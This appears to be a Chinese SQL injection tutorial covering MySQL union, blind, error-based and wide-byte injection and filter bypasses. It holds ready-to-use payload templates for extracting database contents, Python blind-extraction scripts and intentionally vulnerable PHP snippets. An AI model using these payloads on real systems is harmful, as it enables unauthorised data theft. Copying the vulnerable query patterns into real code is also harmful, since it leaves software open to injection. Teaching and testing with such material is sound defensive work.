前言
注入漏洞在web前十漏洞中位居榜首,其中SQL注入最为经典。
SQL注入
什么是SQL注入
SQL注入漏洞是指攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,而网站应用程序未对其进行过滤,将恶意SQL语句带入数据库使恶意SQL语句得以执行,从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。
SQL注入漏洞可能会导致服务器的数据库信息泄露、数据被窃取、网页被篡改,甚至可能会造成网站被挂马、服务器被远程控制、被上后门等。
- 以下是SQL注入漏洞的示例代码
...
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
...
中间件通过GET传入用户指定的id
参数,并赋值给$id
变量,$id
在后面没有任何过滤,直接拼接到SQL语句中,然后在数据库中执行了此SQL语句。
注入类型
SQL注入按数据类型分为数字型注入和字符型注入
数字型注入
数字型注入就是注入点的数据类型为数字型,没有用单引号或者双引号括起来。
典型代码示例
...
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
...
判断方法:
- 输入单引号时,不正常返回
用户提交index.php?id=1'
时,单个的单引号没有闭合,产生了语法错误,不正常返回。
- 输入
and 1=1
,正常返回
用户提交index.php?id=1 and 1=1
时,语句拼接后查询成功,正常返回。
- 输入
and 1=2
,不正常返回
用户提交index.php?id=1 and 1=2
时,1=2
为false
,查询失败,不正常返回。
字符型注入
字符型注入就是注入点的数据类型为字符型,有用单引号或者双引号括起来。
典型代码示例
...
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
...
判断方法
- 输入单引号,不正常返回
用户提交index.php?id=1'
时,拼接的SQL语句变成了SELECT * FROM users WHERE id = '1'' LIMIT 0,1
单引号没有闭合,产生了语法错误,不正常返回。
- 输入
'and '1'='1
,正常返回
用户提交'and '1'='1
时,拼接的SQL语句变成了SELECT * FROM users WHERE id = '1' and '1'='1' LIMIT 0,1
,查询成功,正常返回。
- 输入
'and '1'='2
,不正常返回
用户提交'and '1'='2
时,拼接的SQL语句变成了SELECT * FROM users WHERE id = '1' and '1'='2' LIMIT 0,1
,'1'='2'
为false
,查询失败,不正常返回。
MySQL注入
MySQL数据库是一种开源的关系型数据库查询系统,是使用量最高的一种数据库管理系统,这里将以MySQL为例子讲解常见的几种注入方式。
联合查询注入
利用MySQL中UNION
关键词可以同时执行多条SQL语句的特点,在参数中插入恶意的SQL注入语句,执行额外的SQL语句,获取额外敏感信息或者执行其他数据库操作。
payload模板与步骤
- 判断注入点
id=1 and 1=1
- 判断列数
id=1 order by 1
- 判断报错点
id=1 and 1=2 union select 1,2,3
- 查当前库名
id=1 and 1=2 union select database()
id=1 and 1=2 union select CONCAT_WS(CHAR(32,58,32),user(),database(),version())
- 查表名
id=1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1
- 查列名
id=1 and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1
- 查字段
id=1 and 1=2 union select group_concat(列名,列名···) from 库名 limit 0,1
注意事项
- union用于合并多个select语句的结果,并默认去重

- 联合查询中合并的选择查询必须具相同的输出字段数,采用相同的顺序,并包含相同或兼容的数据类型

bool盲注
与报错注入不同,bool盲注没有任何的报错信息输出,页面只有正常和不正常两种状态,攻击者只能通过返回的两个状态来判断输入的SQL语句是否正确,从而判断数据库中储存了哪些信息。
payload模板与步骤
- 获取数据库长度
id=1 and (select length(database()))>10
- 查库名
id=1 and (select ascii(substr(database(),1,1)))>63
- 查表名
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>63
- 查列名
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名'),1,1))>63
- 查字段
id=1 and ascii(substr((select 列名 from 表名),1,1))>63
注意事项
- substr函数
语法格式:SUBSTR(字段名,A,N)
从指定的字段从第A个字符(这里的字符从1开始)向后截取N个字符

- ascii函数
语法格式:ASCII(字符)
返回字符的ASCII码

- 脚本
盲注都是搭配脚本使用的,这里提供一个简单的python脚本模板,根据具体环境修改
- 遍历查询
import requests
url = '' #需要盲注的网址
payload = '' #bool盲注的payload
flagstr = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm-}{'
flag = ''
for i in range(1,50):
for c in flagstr:
data = { "id":payload.format(flag+c) }
r = requests.post(url,data=data)
if '' in r.text: #返回的页面成功时的回显,由此判断是否存在此字符
flag+=c
print(flag)
if c=='}':
exit()
break
- 二分查询
import requests
url = ""
flag = ""
payload = ""
for i in range(1,50):
max=128
min=32
while 1:
mid=(max+min)//2
if min==mid:
flag+=chr(mid)
print(flag.lower())
if chr(mid)==' ':
exit()
break
data = {
}
r = requests.post(url,data=data)
if '' in r.text: #返回的页面成功时的回显,由此判断是否存在此字符
min=mid
else:
max=mid
时间盲注
时间盲注是另一种形式的盲注,与bool盲注不同,时间盲注没有任何的报错信息输出,页面不管对或错都是一种状态,攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确,只能通过构造的SQL测试语句,根据页面的返回时间判断数据库中储存了哪些信息。
payload模板与步骤
- 获取数据库长度
id=1 and sleep(if(length((select database())=5),0,5))
- 查库名
id=1 and sleep(if((select ascii(substr(database(),1,1)))>63,0,5))
- 查表名
id=1 and sleep(if((ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>63,0,5))
- 查列名
id=1 and sleep(if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='表名'),1,1))>63,0,5))
- 查字段
id=1 and sleep(if(ascii(substr((select 列名 from 表名),1,1))>63,0,5))
注意事项
- sleep函数
语法格式:SLEEP(时间)
使执行挂起一段时间,单位为秒

- if函数
语法格式:IF(expr1,expr2,expr3)
效果类似于编程语言中常见的三元运算符,如果expr1为真(不等于0且不等于null),返回expr2,否则返回expr3

- 脚本
import requests
url = ''
flag = ''
payload = ""
for i in range(1,50):
min=32
max=128
while 1:
mid=(max+min)//2
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)==' ':
exit()
break
data = {
}
try:
r = requests.post(url, data=data, timeout=1)
max=mid
except Exception as e:
min=mid
报错注入-floor
floor注入是报错注入的一种方式,主要原因是rand函数与group by子句一起使用时,rand函数会计算多次,会导致报错产生的注入。
payload模板与步骤
- 查库名
id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2)) x from information_schema.tables group by x)a)

- 查表名
id=1 and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a)

- 查列名
id=1 and (select 1 from(select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

- 查字段
id=1 and (select 1 from (select count(*),concat((select 列名 from 表名 limit 0,1),0x3a,floor(rand()*2))x from information_schema.tables group by x)a)

注意事项
- floor函数
语法格式:FLOOR(x)
返回不大于x的最大整数值
- rand函数
语法格式:RAND()
产生一个在0和1之间的随机数
当提供一个种子数时,生成的随机数是相同的

报错注入-updatexml
updatexml
也是一种报错注入,它利用updatexml
函数中第二个参数XPATH_string
的报错进行注入。
XPATH_string
是XML文档路径,格式是/XXX/XXX/XXX/,如果格式不正确就会报错
payload模板与步骤
- 查库名
id=1 and updatexml(1,concat(0x7e,database()),0)

- 查表名
id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0)

- 查列名
id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1)),0)

- 查字段
id=1 and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1)),0)

注意事项
- updataxml函数
语法格式:UPDATEXML(XML_document, XPath_string, new_value)
其中:
XML_document是String型数据,是XML文档的文件格式
XPath_string是(Xpath格式的字符串)是XML文档路径
new_value是String型数据,用于替换查找到的符合条件的数据
updatexml
可以对XML文档进行更新
报错注入-extractvalue
extractvalue
也是一种报错注入,它与updatexml
注入的原理一样
payload模板与步骤
- 查库名
id=1 and extractvalue(1,concat(0x7e,database()))

- 查表名
id=1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))

- 查列名
id=1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1)))

- 查字段
id=1 and extractvalue(1,concat(0x7e,(select 列名 from 库名 limit 0,1)))

注意事项
- extractvalue函数
语法格式:EXTRACTVALUE(XML_document, XPath_string)
extrctvalue
函数可以对XML文档进行查询
宽字节注入
开发者为了防止出现SQL注入攻击,将用户输入的数据用addslashes等函数进行过滤。
addslashes等函数默认对单引号等字符进行转义,这样就可以避免注入。
宽字节注入产生的原因是:MySQL在使用过GBK编码的时候,如果第一个字符的ASCII码大于128,会认为前两个字符是一个汉字,会将后面的转义字符\
“吃掉”,将前两个字符拼接为汉字,这样就可以将SQL语句闭合,造成宽字节注入。
payload模板与步骤
- 查库名
id=1%81' and 1=2 union select 1,database(),3
- 查表名
id=1%81' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x74657374(库名的十六进制,这里单引号会转义)
- 查列名
id=1%81' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x74657374 and table_name=0x666c6167
- 查字段
id=1%81' and 1=2 union select 1,group_concat(列名,列名,···),3 from 表名
注意事项
利用宽字节注入原理,只要第一个字符的ASCII码大于128
,MySQL数据库就会认为前两个字符是一个汉字,可以正常闭合SQL语句进行注入
这样就可以用ASCII码为129的字符进行注入,其URL编码为%81
当然注入的第一个字符不一定是%81
,只要是大于%80
,且在汉字的编码内即可
SQL注入绕过
空格绕过
根据应用的过滤规则,会将空格加入黑名单,但是空格存在多种绕过方式,常见的包括/**/
、制表符
、换行符
、括号
、反引号
来代替空格
#漏洞代码示例
if(!preg_match('/ /',$_GET["id"])){
die("ERROR");
}else{
$id = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($sql);
}
- /**/
MySQL数据库中可以用/**/(注释符)来代替空格,将空格用注释符代替后,SQL语句可以正常运行

- 制表符
在MySQL数据库中,可以用制表符(%09、%0B)来代替空格,制表符是不可见字符,在URL传输中需要编码


- 换行符
MySQL数据库支持换行执行SQL语句,可以利用换行符(%0A、%0C)代替空格,换行符也是不可见字符,在URL传输中需要编码

- 括号
在MySQL数据库中,任何查询中都可以使用括号嵌套SQL语句

MySQL数据库中有一个特性。
在条件语句中,在where id=1
后面加=1
成为where id=1=1
,就是对前面所有结果与1,查询结果与原来一样

在where id=1
后面加=0
成为where id=1=0
,就是对前面的所有结果与0(取反),即查询的结果除去原有查询结果的其他数据

利用以上特性,构造括号绕过payload就可以进行bool盲注,获得数据库的信息
id=1=(ascii(mid(database()from(1)for(1)))=116)
当数据库的第一个字母为t时,上面等价于id=1=1
- `
MySQL中的反引号是为了区分MySQL的保留字与普通字而引入的符号,反引号可以代替空格

内联注释绕过
MySQL会执行放在/*! ···*/
中的语句。
/*! 50010···/
也可以执行位于其中的SQL语句,其中50010表示SQL版本为5.00.10。当MySQL数据库的实际版本号大于内联注释中的版本号时,就会执行内联注释中的代码。
当前MySQL数据库的版本是5.7.26,使用此版本的数据库进行验证

大小写绕过
根据应用程序的过滤规则,通常会针对恶意关键字设置黑名单,如果存在恶意关键字,应用程序就会退出运行。
在过滤规则中可能存在过滤不完整或者只过滤小写或者大写的情况,没有针对大小写组合进行过滤,导致可以通过大小写混写payload的方式来绕过关键字。
#漏洞代码示例
if(!preg_match('/select/',$_GET["id"])){
die("ERROR");
}else{
$id = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($sql);
}
直接传入select
会回显ERROR,当传入SeLeCt
时正常回显
双写关键词绕过
根据应用程序的过滤规则,有时不是直接将关键词加入黑名单,而是利用preg_replace
函数将关键词替换
#漏洞代码示例
if(isser($_GET["id"])){
$id = preg_replace('/select/i','',$_GET["id"];
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($sql);
}
如果直接传入select
将会被替换成空而报错,但是preg_replace
函数并没有进行多次过滤,导致可以通过双写关键词的方式绕过
当传入seselectlect
时,中间的select
被替换成空,实际传入的是select
,成功绕过
编码绕过
if(!preg_match('/select/i',$_GET["id"])){
die("ERROR");
}else{
$id = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($sql);
}
双重URL编码绕过
十六进制编码绕过
MySQL数据库可以识别十六进制,会对十六进制的数据进行自动转换

如果PHP配置中开启了GPC,GPC会自动会单引号进行转义,这样注入就无法正常使用。
但是如果将注入的数据转换成十六进制,就不需要单引号,可以正常注入
#原来传入的注入语句
id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test';
进过GPC转义后,SQL语法就会发生错误,不能正常注入
#实际传入的注入语句
id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\'test\';
利用编码绕过
#利用特性将表名十六进制编码后传入,不需要单引号
id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x74657374;
等价函数字符替换绕过
- 等价等号
用like
或in
代替=

- 等价逗号

等价函数
sleep函数与benchmark函数等价
ascii函数与hex、bin、conv函数等价
group_concat函数与concat_ws函数等价
updatexml函数与extractvalue函数等价